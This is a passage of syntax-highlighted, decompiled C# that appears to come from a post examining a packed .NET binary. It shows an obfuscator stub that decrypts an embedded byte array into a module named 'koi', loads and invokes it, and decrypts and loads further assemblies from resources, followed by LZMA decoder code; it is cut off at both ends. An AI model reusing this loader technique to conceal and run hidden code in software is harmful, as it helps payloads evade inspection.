class="line"><span class="number">1953918222U</span>,</span><br><span class="line"><span class="number">2376273225U</span>,</span><br><span class="line"><span class="number">3384762370U</span>,</span><br><span class="line"><span class="number">4264347513U</span>,</span><br><span class="line"><span class="number">2091516776U</span>,</span><br><span class="line"><span class="number">2986806937U</span>,</span><br><span class="line"><span class="number">395389481U</span>,</span><br><span class="line"><span class="number">1944593920U</span>,</span><br><span class="line"><span class="number">80986310U</span>,</span><br><span class="line"><span class="number">21777301U</span>,</span><br><span class="line"><span class="number">4116274016U</span>,</span><br><span class="line"><span class="number">320597723U</span>,</span><br><span class="line"><span class="number">4059308U</span>,</span><br><span class="line"><span class="number">3428044274U</span>,</span><br><span class="line"><span class="number">2681979264U</span>,</span><br><span class="line"><span class="number">3650819267U</span>,</span><br><span class="line"><span class="number">498256804U</span>,</span><br><span class="line"><span class="number">3511391935U</span>,</span><br><span class="line"><span class="number">1429177800U</span>,</span><br><span class="line"><span class="number">2786419282U</span>,</span><br><span class="line"><span class="number">4146587514U</span>,</span><br><span class="line"><span class="number">1619184565U</span>,</span><br><span class="line"><span class="number">184294478U</span>,</span><br><span class="line"><span class="number">2193108831U</span>,</span><br><span class="line"><span class="number">2886576796U</span>,</span><br><span class="line"><span class="number">3933530696U</span>,</span><br><span class="line"><span class="number">774076919U</span>,</span><br><span class="line"><span class="number">2327775171U</span>,</span><br><span class="line"><span class="number">1582914359U</span>,</span><br><span class="line"><span class="number">3358698739U</span>,</span><br><span class="line"><span class="number">3699588179U</span>,</span><br><span class="line"><span class="number">3343938407U</span>,</span><br><span class="line"><span class="number">2071264212U</span>,</span><br><span class="line"><span class="number">1592132424U</span>,</span><br><span class="line"><span class="number">3676091619U</span>,</span><br><span class="line"><span class="number">3459456367U</span>,</span><br><span class="line"><span class="number">435334995U</span>,</span><br><span class="line"><span class="number">619501979U</span>,</span><br><span class="line"><span class="number">1624688746U</span>,</span><br><span class="line"><span class="number">979603013U</span>,</span><br><span class="line"><span class="number">1108747524U</span>,</span><br><span class="line"><span class="number">3922063508U</span>,</span><br><span class="line"><span class="number">3781339202U</span>,</span><br><span class="line"><span class="number">3305564054U</span>,</span><br><span class="line"><span class="number">2303544151U</span>,</span><br><span class="line"><span class="number">1857620848U</span>,</span><br><span class="line"><span class="number">3931750986U</span>,</span><br><span class="line"><span class="number">1729833608U</span>,</span><br><span class="line"><span class="number">3584171643U</span>,</span><br><span class="line"><span class="number">2240694049U</span>,</span><br><span class="line"><span class="number">1276387476U</span>,</span><br><span class="line"><span class="number">4268284850U</span>,</span><br><span class="line"><span class="number">3627313437U</span>,</span><br><span class="line"><span class="number">2436557952U</span>,</span><br><span class="line"><span class="number">3742694993U</span>,</span><br><span class="line"><span class="number">256816831U</span>,</span><br><span class="line"><span class="number">36864508U</span>,</span><br><span class="line"><span class="number">861085811U</span>,</span><br><span class="line"><span class="number">3942785975U</span>,</span><br><span class="line"><span class="number">2121519974U</span>,</span><br><span class="line"><span class="number">2980111354U</span>,</span><br><span class="line"><span class="number">3064504383U</span>,</span><br><span class="line"><span class="number">3268489714U</span>,</span><br><span class="line"><span class="number">3672939733U</span>,</span><br><span class="line"><span class="number">2955902792U</span>,</span><br><span class="line"><span class="number">2257433762U</span>,</span><br><span class="line"><span class="number">3785378301U</span>,</span><br><span class="line"><span class="number">1878022722U</span>,</span><br><span class="line"><span class="number">2044385677U</span>,</span><br><span class="line"><span class="number">2796292510U</span>,</span><br><span class="line"><span class="number">798657579U</span>,</span><br><span class="line"><span class="number">2511008760U</span>,</span><br><span class="line"><span class="number">1739078019U</span>,</span><br><span class="line"><span class="number">3915553843U</span>,</span><br><span class="line"><span class="number">858625859U</span>,</span><br><span class="line"><span class="number">3932575613U</span>,</span><br><span class="line"><span class="number">2382292867U</span>,</span><br><span class="line"><span class="number">2854115837U</span>,</span><br><span class="line"><span class="number">963200349U</span>,</span><br><span class="line"><span class="number">97523304U</span>,</span><br><span class="line"><span class="number">2057133381U</span>,</span><br><span class="line"><span class="number">220733578U</span>,</span><br><span class="line"><span class="number">3739524120U</span>,</span><br><span class="line"><span class="number">888977507U</span>,</span><br><span class="line"><span class="number">1705318001U</span>,</span><br><span class="line"><span class="number">436686339U</span>,</span><br><span class="line"><span class="number">1165773899U</span>,</span><br><span class="line"><span class="number">345807871U</span>,</span><br><span class="line"><span class="number">1614597149U</span>,</span><br><span class="line"><span class="number">1604113701U</span>,</span><br><span class="line"><span class="number">1542575489U</span>,</span><br><span class="line"><span class="number">948311938U</span>,</span><br><span class="line"><span class="number">727127006U</span>,</span><br><span class="line"><span class="number">2386234679U</span>,</span><br><span class="line"><span class="number">2270191626U</span>,</span><br><span class="line"><span class="number">2433734053U</span>,</span><br><span class="line"><span class="number">1208327244U</span>,</span><br><span class="line"><span class="number">1964212065U</span>,</span><br><span class="line"><span class="number">3525143568U</span>,</span><br><span class="line"><span class="number">2887820104U</span>,</span><br><span class="line"><span class="number">79857158U</span>,</span><br><span class="line"><span class="number">3095016212U</span>,</span><br><span class="line"><span class="number">3193859099U</span>,</span><br><span class="line"><span class="number">2345797626U</span>,</span><br><span class="line"><span class="number">1486489104U</span>,</span><br><span class="line"><span class="number">2564531287U</span>,</span><br><span class="line"><span class="number">3758300015U</span>,</span><br><span class="line"><span class="number">2893965176U</span>,</span><br><span class="line"><span class="number">1159664902U</span>,</span><br><span class="line"><span class="number">4238054281U</span>,</span><br><span class="line"><span class="number">4004554516U</span>,</span><br><span class="line"><span class="number">1614566747U</span>,</span><br><span class="line"><span class="number">679868631U</span>,</span><br><span class="line"><span class="number">2366125925U</span>,</span><br><span class="line"><span class="number">3261784684U</span>,</span><br><span class="line"><span class="number">752044709U</span>,</span><br><span class="line"><span class="number">1509708066U</span>,</span><br><span class="line"><span class="number">3752099281U</span>,</span><br><span class="line"><span class="number">563885371U</span>,</span><br><span class="line"><span class="number">790708185U</span>,</span><br><span class="line"><span class="number">109319672U</span>,</span><br><span class="line"><span class="number">997424536U</span>,</span><br><span class="line"><span class="number">4209798988U</span>,</span><br><span class="line"><span class="number">417115700U</span>,</span><br><span class="line"><span class="number">1854140015U</span>,</span><br><span class="line"><span class="number">2657015755U</span>,</span><br><span class="line"><span class="number">3125675270U</span>,</span><br><span class="line"><span class="number">891359211U</span>,</span><br><span class="line"><span class="number">784645404U</span>,</span><br><span class="line"><span class="number">462223245U</span>,</span><br><span class="line"><span class="number">4244160625U</span>,</span><br><span class="line"><span class="number">936960566U</span>,</span><br><span class="line"><span class="number">3441292421U</span>,</span><br><span class="line"><span class="number">291830638U</span>,</span><br><span class="line"><span class="number">2785019884U</span>,</span><br><span class="line"><span class="number">2880903228U</span>,</span><br><span class="line"><span class="number">2082545398U</span>,</span><br><span class="line"><span class="number">1364284460U</span>,</span><br><span class="line"><span class="number">2872233832U</span>,</span><br><span class="line"><span class="number">3534172926U</span>,</span><br><span class="line"><span class="number">3801672439U</span>,</span><br><span class="line"><span class="number">1240509124U</span>,</span><br><span class="line"><span class="number">855105288U</span>,</span><br><span class="line"><span class="number">3029545288U</span>,</span><br><span class="line"><span class="number">3504878216U</span>,</span><br><span class="line"><span class="number">1369760530U</span>,</span><br><span class="line"><span class="number">3140116866U</span>,</span><br><span class="line"><span class="number">181462325U</span>,</span><br><span class="line"><span class="number">3219080329U</span>,</span><br><span class="line"><span class="number">190073758U</span>,</span><br><span class="line"><span class="number">1460784952U</span>,</span><br><span class="line"><span class="number">4293889391U</span>,</span><br><span class="line"><span class="number">2463494565U</span>,</span><br><span class="line"><span class="number">2251577794U</span>,</span><br><span class="line"><span class="number">586787054U</span>,</span><br><span class="line"><span class="number">577674211U</span>,</span><br><span class="line"><span class="number">34156509U</span>,</span><br><span class="line"><span class="number">314679667U</span>,</span><br><span class="line"><span class="number">3536885507U</span>,</span><br><span class="line"><span class="number">854055424U</span>,</span><br><span class="line"><span class="number">875068624U</span>,</span><br><span class="line"><span class="number">3601736529U</span>,</span><br><span class="line"><span class="number">587009494U</span>,</span><br><span class="line"><span class="number">262248323U</span>,</span><br><span class="line"><span class="number">3394755176U</span>,</span><br><span class="line"><span class="number">781657358U</span>,</span><br><span class="line"><span class="number">3095676633U</span>,</span><br><span class="line"><span class="number">1117031255U</span>,</span><br><span class="line"><span class="number">3443594643U</span></span><br><span class="line">&#125;;</span><br><span class="line">Assembly executingAssembly = Assembly.GetExecutingAssembly();</span><br><span class="line">Module manifestModule = executingAssembly.ManifestModule;</span><br><span class="line">GCHandle gchandle = &lt;Module&gt;.Decrypt(array, <span class="number">3835457050U</span>);</span><br><span class="line"><span class="built_in">byte</span>[] array2 = (<span class="built_in">byte</span>[])gchandle.Target;</span><br><span class="line">Module module = executingAssembly.LoadModule(<span class="string">&quot;koi&quot;</span>, array2);</span><br><span class="line">Array.Clear(array2, <span class="number">0</span>, array2.Length);</span><br><span class="line">gchandle.Free();</span><br><span class="line">Array.Clear(array, <span class="number">0</span>, array.Length);</span><br><span class="line">&lt;Module&gt;.key = manifestModule.ResolveSignature(<span class="number">285212673</span>);</span><br><span class="line">AppDomain.CurrentDomain.AssemblyResolve += &lt;Module&gt;.Resolve;</span><br><span class="line">module.GetTypes();</span><br><span class="line">MethodBase methodBase = module.ResolveMethod((<span class="built_in">int</span>)&lt;Module&gt;.key[<span class="number">0</span>] | (<span class="built_in">int</span>)&lt;Module&gt;.key[<span class="number">1</span>] &lt;&lt; <span class="number">8</span> | (<span class="built_in">int</span>)&lt;Module&gt;.key[<span class="number">2</span>] &lt;&lt; <span class="number">16</span> | (<span class="built_in">int</span>)&lt;Module&gt;.key[<span class="number">3</span>] &lt;&lt; <span class="number">24</span>);</span><br><span class="line"><span class="built_in">object</span>[] array3 = <span class="keyword">new</span> <span class="built_in">object</span>[methodBase.GetParameters().Length];</span><br><span class="line"><span class="keyword">if</span> (array3.Length != <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">array3[<span class="number">0</span>] = A_0;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">object</span> obj = methodBase.Invoke(<span class="literal">null</span>, array3);</span><br><span class="line"><span class="keyword">if</span> (obj <span class="keyword">is</span> <span class="built_in">int</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> (<span class="built_in">int</span>)obj;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000003 RID: 3 RVA: 0x00008DF8 File Offset: 0x00006FF8</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> Assembly <span class="title">Resolve</span>(<span class="params"><span class="built_in">object</span> A_0, ResolveEventArgs A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">byte</span>[] bytes = Encoding.UTF8.GetBytes(<span class="keyword">new</span> AssemblyName(A_1.Name).FullName.ToUpperInvariant());</span><br><span class="line">Stream stream = <span class="literal">null</span>;</span><br><span class="line"><span class="keyword">if</span> (bytes.Length + <span class="number">4</span> &lt;= &lt;Module&gt;.key.Length)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; bytes.Length; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">byte</span>[] array = bytes;</span><br><span class="line"><span class="built_in">int</span> num = i;</span><br><span class="line">array[num] *= &lt;Module&gt;.key[i + <span class="number">4</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">string</span> name = Convert.ToBase64String(bytes);</span><br><span class="line">stream = Assembly.GetEntryAssembly().GetManifestResourceStream(name);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (stream != <span class="literal">null</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span>[] array2 = <span class="keyword">new</span> <span class="built_in">uint</span>[stream.Length &gt;&gt; <span class="number">2</span>];</span><br><span class="line"><span class="built_in">byte</span>[] array3 = <span class="keyword">new</span> <span class="built_in">byte</span>[<span class="number">256</span>];</span><br><span class="line"><span class="built_in">int</span> num2 = <span class="number">0</span>;</span><br><span class="line"><span class="built_in">int</span> num3;</span><br><span class="line"><span class="keyword">while</span> ((num3 = stream.Read(array3, <span class="number">0</span>, <span class="number">256</span>)) &gt; <span class="number">0</span>)</span><br><span class="line">&#123;</span><br><span class="line">Buffer.BlockCopy(array3, <span class="number">0</span>, array2, num2, num3);</span><br><span class="line">num2 += num3;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">uint</span> num4 = <span class="number">7339873U</span>;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="built_in">byte</span> b <span class="keyword">in</span> bytes)</span><br><span class="line">&#123;</span><br><span class="line">num4 = num4 * <span class="number">6176543U</span> + (<span class="built_in">uint</span>)b;</span><br><span class="line">&#125;</span><br><span class="line">GCHandle gchandle = &lt;Module&gt;.Decrypt(array2, num4);</span><br><span class="line"><span class="built_in">byte</span>[] array5 = (<span class="built_in">byte</span>[])gchandle.Target;</span><br><span class="line">Assembly result = Assembly.Load(array5);</span><br><span class="line">Array.Clear(array5, <span class="number">0</span>, array5.Length);</span><br><span class="line">gchandle.Free();</span><br><span class="line">Array.Clear(array2, <span class="number">0</span>, array2.Length);</span><br><span class="line"><span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000004 RID: 4 RVA: 0x00008F3C File Offset: 0x0000713C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">static</span> <span class="built_in">byte</span>[] <span class="title">Decompress</span>(<span class="params"><span class="built_in">byte</span>[] A_0</span>)</span></span><br><span class="line">&#123;</span><br><span class="line">MemoryStream memoryStream = <span class="keyword">new</span> MemoryStream(A_0);</span><br><span class="line">&lt;Module&gt;.LzmaDecoder lzmaDecoder = <span class="keyword">new</span> &lt;Module&gt;.LzmaDecoder();</span><br><span class="line"><span class="built_in">byte</span>[] array = <span class="keyword">new</span> <span class="built_in">byte</span>[<span class="number">5</span>];</span><br><span class="line">memoryStream.Read(array, <span class="number">0</span>, <span class="number">5</span>);</span><br><span class="line">lzmaDecoder.SetDecoderProperties(array);</span><br><span class="line"><span class="built_in">long</span> num = <span class="number">0L</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">8</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">int</span> num2 = memoryStream.ReadByte();</span><br><span class="line">num |= (<span class="built_in">long</span>)((<span class="built_in">long</span>)((<span class="built_in">ulong</span>)((<span class="built_in">byte</span>)num2)) &lt;&lt; <span class="number">8</span> * i);</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">byte</span>[] array2 = <span class="keyword">new</span> <span class="built_in">byte</span>[(<span class="built_in">int</span>)num];</span><br><span class="line">MemoryStream memoryStream2 = <span class="keyword">new</span> MemoryStream(array2, <span class="literal">true</span>);</span><br><span class="line"><span class="built_in">long</span> num3 = memoryStream.Length - <span class="number">13L</span>;</span><br><span class="line">lzmaDecoder.Code(memoryStream, memoryStream2, num3, num);</span><br><span class="line"><span class="keyword">return</span> array2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000001 RID: 1</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">static</span> <span class="built_in">byte</span>[] key;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000002 RID: 2 RVA: 0x00002050 File Offset: 0x00000250</span></span><br><span class="line"><span class="keyword">static</span> &lt;Module&gt;.DataType DataField;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000002 RID: 2</span></span><br><span class="line">[<span class="meta">StructLayout(LayoutKind.Explicit, Pack = 1, Size = 26656)</span>]</span><br><span class="line"><span class="keyword">private</span> <span class="keyword">struct</span> DataType</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000003 RID: 3</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">struct</span> BitDecoder</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000006 RID: 6 RVA: 0x00008872 File Offset: 0x00006A72</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Prob = <span class="number">1024U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000007 RID: 7 RVA: 0x00008FC8 File Offset: 0x000071C8</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">uint</span> <span class="title">Decode</span>(<span class="params">&lt;Module&gt;.Decoder A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = (A_1.Range &gt;&gt; <span class="number">11</span>) * <span class="keyword">this</span>.Prob;</span><br><span class="line"><span class="keyword">if</span> (A_1.Code &lt; num)</span><br><span class="line">&#123;</span><br><span class="line">A_1.Range = num;</span><br><span class="line"><span class="keyword">this</span>.Prob += <span class="number">2048U</span> - <span class="keyword">this</span>.Prob &gt;&gt; <span class="number">5</span>;</span><br><span class="line"><span class="keyword">if</span> (A_1.Range &lt; <span class="number">16777216U</span>)</span><br><span class="line">&#123;</span><br><span class="line">A_1.Code = (A_1.Code &lt;&lt; <span class="number">8</span> | (<span class="built_in">uint</span>)((<span class="built_in">byte</span>)A_1.Stream.ReadByte()));</span><br><span class="line">A_1.Range &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line">A_1.Range -= num;</span><br><span class="line">A_1.Code -= num;</span><br><span class="line"><span class="keyword">this</span>.Prob -= <span class="keyword">this</span>.Prob &gt;&gt; <span class="number">5</span>;</span><br><span class="line"><span class="keyword">if</span> (A_1.Range &lt; <span class="number">16777216U</span>)</span><br><span class="line">&#123;</span><br><span class="line">A_1.Code = (A_1.Code &lt;&lt; <span class="number">8</span> | (<span class="built_in">uint</span>)((<span class="built_in">byte</span>)A_1.Stream.ReadByte()));</span><br><span class="line">A_1.Range &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="number">1U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000003 RID: 3</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> Prob;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000004 RID: 4</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">struct</span> BitTreeDecoder</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000008 RID: 8 RVA: 0x0000887F File Offset: 0x00006A7F</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">BitTreeDecoder</span>(<span class="params"><span class="built_in">int</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.NumBitLevels = A_1;</span><br><span class="line"><span class="keyword">this</span>.Models = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">1</span> &lt;&lt; A_1];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000009 RID: 9 RVA: 0x000090B4 File Offset: 0x000072B4</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">while</span> ((<span class="built_in">ulong</span>)num &lt; (<span class="built_in">ulong</span>)(<span class="number">1L</span> &lt;&lt; (<span class="keyword">this</span>.NumBitLevels &amp; <span class="number">31</span>)))</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Models[(<span class="built_in">int</span>)((UIntPtr)num)].Init();</span><br><span class="line">num += <span class="number">1U</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600000A RID: 10 RVA: 0x000090EC File Offset: 0x000072EC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">uint</span> <span class="title">Decode</span>(<span class="params">&lt;Module&gt;.Decoder A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="keyword">this</span>.NumBitLevels; i &gt; <span class="number">0</span>; i--)</span><br><span class="line">&#123;</span><br><span class="line">num = (num &lt;&lt; <span class="number">1</span>) + <span class="keyword">this</span>.Models[(<span class="built_in">int</span>)((UIntPtr)num)].Decode(A_1);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> num - (<span class="number">1U</span> &lt;&lt; <span class="keyword">this</span>.NumBitLevels);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600000B RID: 11 RVA: 0x00009134 File Offset: 0x00007334</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">uint</span> <span class="title">ReverseDecode</span>(<span class="params">&lt;Module&gt;.Decoder A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="built_in">uint</span> num2 = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="keyword">this</span>.NumBitLevels; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num3 = <span class="keyword">this</span>.Models[(<span class="built_in">int</span>)((UIntPtr)num)].Decode(A_1);</span><br><span class="line">num &lt;&lt;= <span class="number">1</span>;</span><br><span class="line">num += num3;</span><br><span class="line">num2 |= num3 &lt;&lt; i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> num2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600000C RID: 12 RVA: 0x0000917C File Offset: 0x0000737C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">static</span> <span class="built_in">uint</span> <span class="title">ReverseDecode</span>(<span class="params">&lt;Module&gt;.BitDecoder[] A_0, <span class="built_in">uint</span> A_1, &lt;Module&gt;.Decoder A_2, <span class="built_in">int</span> A_3</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="built_in">uint</span> num2 = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; A_3; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num3 = A_0[(<span class="built_in">int</span>)((UIntPtr)(A_1 + num))].Decode(A_2);</span><br><span class="line">num &lt;&lt;= <span class="number">1</span>;</span><br><span class="line">num += num3;</span><br><span class="line">num2 |= num3 &lt;&lt; i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> num2;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000004 RID: 4</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> &lt;Module&gt;.BitDecoder[] Models;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000005 RID: 5</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">readonly</span> <span class="built_in">int</span> NumBitLevels;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000005 RID: 5</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">class</span> <span class="title">Decoder</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x0600000D RID: 13 RVA: 0x000091BC File Offset: 0x000073BC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>(<span class="params">Stream A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Stream = A_1;</span><br><span class="line"><span class="keyword">this</span>.Code = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">this</span>.Range = <span class="built_in">uint</span>.MaxValue;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">5</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Code = (<span class="keyword">this</span>.Code &lt;&lt; <span class="number">8</span> | (<span class="built_in">uint</span>)((<span class="built_in">byte</span>)<span class="keyword">this</span>.Stream.ReadByte()));</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600000E RID: 14 RVA: 0x00008899 File Offset: 0x00006A99</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">ReleaseStream</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Stream = <span class="literal">null</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600000F RID: 15 RVA: 0x000088A2 File Offset: 0x00006AA2</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Normalize</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">while</span> (<span class="keyword">this</span>.Range &lt; <span class="number">16777216U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Code = (<span class="keyword">this</span>.Code &lt;&lt; <span class="number">8</span> | (<span class="built_in">uint</span>)((<span class="built_in">byte</span>)<span class="keyword">this</span>.Stream.ReadByte()));</span><br><span class="line"><span class="keyword">this</span>.Range &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000010 RID: 16 RVA: 0x00009208 File Offset: 0x00007408</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">uint</span> <span class="title">DecodeDirectBits</span>(<span class="params"><span class="built_in">int</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="keyword">this</span>.Range;</span><br><span class="line"><span class="built_in">uint</span> num2 = <span class="keyword">this</span>.Code;</span><br><span class="line"><span class="built_in">uint</span> num3 = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = A_1; i &gt; <span class="number">0</span>; i--)</span><br><span class="line">&#123;</span><br><span class="line">num &gt;&gt;= <span class="number">1</span>;</span><br><span class="line"><span class="built_in">uint</span> num4 = num2 - num &gt;&gt; <span class="number">31</span>;</span><br><span class="line">num2 -= (num &amp; num4 - <span class="number">1U</span>);</span><br><span class="line">num3 = (num3 &lt;&lt; <span class="number">1</span> | <span class="number">1U</span> - num4);</span><br><span class="line"><span class="keyword">if</span> (num &lt; <span class="number">16777216U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num2 = (num2 &lt;&lt; <span class="number">8</span> | (<span class="built_in">uint</span>)((<span class="built_in">byte</span>)<span class="keyword">this</span>.Stream.ReadByte()));</span><br><span class="line">num &lt;&lt;= <span class="number">8</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.Range = num;</span><br><span class="line"><span class="keyword">this</span>.Code = num2;</span><br><span class="line"><span class="keyword">return</span> num3;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000011 RID: 17 RVA: 0x000088DC File Offset: 0x00006ADC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">Decoder</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000006 RID: 6</span></span><br><span class="line"><span class="keyword">internal</span> <span class="built_in">uint</span> Code;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000007 RID: 7</span></span><br><span class="line"><span class="keyword">internal</span> <span class="built_in">uint</span> Range;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000008 RID: 8</span></span><br><span class="line"><span class="keyword">internal</span> Stream Stream;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000006 RID: 6</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">class</span> <span class="title">LzmaDecoder</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000012 RID: 18 RVA: 0x0000927C File Offset: 0x0000747C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">LzmaDecoder</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_DictionarySize = <span class="built_in">uint</span>.MaxValue;</span><br><span class="line"><span class="built_in">int</span> num = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span> ((<span class="built_in">long</span>)num &lt; <span class="number">4L</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_PosSlotDecoder[num] = <span class="keyword">new</span> &lt;Module&gt;.BitTreeDecoder(<span class="number">6</span>);</span><br><span class="line">num++;</span><br><span 